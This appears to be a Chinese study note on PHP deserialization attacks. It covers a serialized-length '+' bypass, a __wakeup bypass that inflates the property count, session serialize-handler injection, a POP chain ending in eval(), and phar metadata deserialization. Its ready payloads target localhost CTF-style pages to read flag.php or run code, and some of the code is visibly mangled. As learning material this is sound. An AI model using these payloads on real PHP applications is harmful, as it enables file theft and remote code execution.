PHP反序列化笔记

x00 + 类名 + x00 + 变量名 ‐> 反序列化为private变量
x00 + * + x00 + 变量名 ‐> 反序列化为protected变量

<?phphighlight_file(__FILE__);class user{    private $name2 = 'leo';    protected $age2 = 19;
    public function print_data(){        echo $this‐>name2 . ' is ' . $this‐>age2 . ' years old <br>';    }}$user = new user();$user‐>print_data();echo serialize($user);
?> leo is 19 years oldO:4:"user":2:{s:11:"username2";s:3:"leo";s:7:"*age2";i:19;}

<?php// highlight_file(__FILE__);class baby{    public $file;    function __toString(){        if(isset($this‐>file))        {            $filename = "./{$this‐>file}";            if (file_get_contents($filename))            {                return file_get_contents($filename);            }        }    }}
$baby = new baby();$baby‐>file = 'flag.php';echo serialize($baby);
?>
得到如下内容：O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

http://127.0.0.1/ctf.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

<?phphighlight_file(__FILE__);class test{    var $bull;    public function __destruct(){        $this‐>bull = "destruct<br/>";        echo $this‐>bull;        echo "destruct ok!<br/>";    }    public function __wakeup(){        $this‐>bull = "wake up<br/>";        echo $this‐>bull;        echo "wake up ok!<br/>";    }}// 正常payload// $payload = O:4:"test":1:{s:4:"bull";s:4:"sdfz";}// 触发漏洞的payload$payload = 'O:4:"test":2:{s:4:"bull";s:4:"sdfz";}';$abc = unserialize($payload);
?>

<?php  class SoFun{    protected $file='index.php';    public function __construct($file){        $this‐>file = $file;
    }    function __destruct(){        if(!empty($this‐>file))        {            //查找file文件中的字符串，如果有'\\'和'/'在字符串中，就显示错误            if(strchr($this‐>file,"\\")===false && strchr($this‐>file, '/')===false)            {                show_source(dirname (__FILE__).'/'.$this ‐>file);            }            else{                    die('Wrong filename.');                }        }    }    function __wakeup(){        $this‐> file='index.php';    }    public function __toString(){        return '';    }}    if (!isset($_GET['file']))    {        show_source('index.php');    }    else{        $file=base64_decode( $_GET['file']);        echo unserialize($file);    }?>

<?php  class SoFun{    protected $file='index.php';    public function __construct($file){        $this‐>file = $file;    }    function __destruct(){        if(!empty($this‐>file))        {            //查找file文件中的字符串，如果有'\\'和'/'在字符串中，就显示错误            if(strchr($this‐>file,"\\")===false && strchr($this‐>file, '/')===false)            {                show_source(dirname (__FILE__).'/'.$this ‐>file);            }            else{                die('Wrong filename.');                }        }    }    function __wakeup()    {        $this‐> file='index.php';    }    public function __toString()    {        return '';    }}    if (!isset($_GET['file']))    {      //show_source('index.php');    }    else{        $file=base64_decode( $_GET['file']);        echo unserialize($file);    }$test = new SoFun('flag.php');
echo base64_encode(serialize($test));
结果：Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9?>

# 把变量数量更改为大于实际的变量数量并重新用base64编码
Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

http://127.0.0.1/test.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

<?php
ini_set("session.serialize_handler", 'php_serialize');
session_start();$_SESSION['a'] = $_GET['a'];
?>

<?php
ini_set("session.serialize_handler", 'php');
session_start();
class peiqi{
    public $meat = '123';
      function __wakeup(){
      echo "I AM Peiqi";    
    }    
    function __destruct(){   
      echo $this‐>meat;    
   }
}
?>

<?php
class peiqi{  
  public $meat = '123';
  unction __wakeup(){     
     echo "I AM Peiqi";    
  }    
  function __destruct(){  
     echo $this‐>meat;    
  }
}
$a = new peiqi();
$a‐>meat = '3333';
echo serialize($a);
// 输出结果O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}
?>

http://localhost/test/1.php?a=|O:5:"peiqi":1:{s:4:"meat";s:4:"3333";}

<?php   
   ini_set('session.serialize_handler', 'php');    
   //服务器反序列化使用的处理器是php_serialize，而这里使用了php，所以会出现安全问题    
   require("./class.php");    
   session_start();       
   
   $obj = new foo1();    
   $obj‐>varr = "phpinfo.php";
?>

<?php  
  session_start();   
   require("./class.php");        
   
   $f3 = new foo3();    
   $f3‐>varr = "phpinfo();";    
   $f3‐>execute();
?>

<form action="http://127.0.0.1/test/phpinfo.php" method="POST" enctype="multipart/form‐
data"
> 
  <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />    
  <input type="file" name="file" />    
  <input type="submit" />
</form>

function execute(){   
       eval($this‐>varr);   
  }

function __toString(){   
       $this‐>obj‐>execute();          
       return $this‐>varr;   
  }

function __destruct(){  
     if(file_exists($this‐>varr)){            
      echo "<br>文件".$this‐>varr."存在<br>";          
     }          
     echo "<br>这是foo1的析构函数<br>";    
  }

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));//show_source(__FILE__);
class foo1{    public $varr;    function __construct(){        $this‐>varr = "index.php";    }    function __destruct(){        if(file_exists($this‐>varr)){            echo "<br>文件".$this‐>varr."存在<br>";        }        echo "<br>这是foo1的析构函数<br>";    }}
class foo2{    public $varr;    public $obj;    function __construct(){        $this‐>varr = '1234567890';        $this‐>obj = null;    }    function __toString(){        $this‐>obj‐>execute();        return $this‐>varr;    }    function __desctuct(){        echo "<br>这是foo2的析构函数<br>";    }}
class foo3{    public $varr;    function execute(){        eval($this‐>varr);    }    function __desctuct(){        echo "<br>这是foo3的析构函数<br>";    }}
$a = new foo1();$b= new foo2();$c = new foo3();$a‐>varr = $b;$b‐>obj = $c;$c‐>varr = "echo 'dfz';";
echo serialize($a);// 输出结果：O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:11:"echo 'dfz';";}}}
?>

<?php// create new Phar$phar = new Phar('test.phar');$phar‐>startBuffering();$phar‐>addFromString('test.txt', 'text');$phar‐>setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta dataclass AnyClass {}$object = new AnyClass;$object‐>data = 'rips';$phar‐>setMetadata($object);$phar‐>stopBuffering();?>

Fatal error: Uncaught exception 'UnexpectedValueException' with message 'creating archive
"test.phar" disabled by the php.ini setting phar.readonly' in
D:phpstudyPHPTutorialWWWtestphar.php:3 Stack trace: #0
D:phpstudyPHPTutorialWWWtestphar.php(3): Phar‐>__construct('test.phar') #1 {main}
thrown in D:phpstudyPHPTutorialWWWtestphar.php on line 3

include('phar://test.phar');var_dump(file_exists('phar://test.phar'));var_dump(file_get_contents('phar://test.phar'));var_dump(file('phar://test.phar'));# 改了文件名同样有效果var_dump(file_get_contents('phar://test.jpg'));var_dump(file_exists('phar://test.jpg'));var_dump(file('phar://test.jpg'));include('phar://test.jpg');
// 网站上的代码，同样可以file_exists($_GET['file']);md5_file($_GET['file']);filemtime($_GET['file']);filesize($_GET['file']);

<?php// create new Phar$phar = new Phar('test.phar');$phar‐>startBuffering();$phar‐>addFromString('test.txt', 'text');$phar‐>setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta dataclass AnyClass {}$object = new AnyClass;$object‐>data = 'rips';$object‐>data1 = 'phpinfo();';$phar‐>setMetadata($object);$phar‐>stopBuffering();?>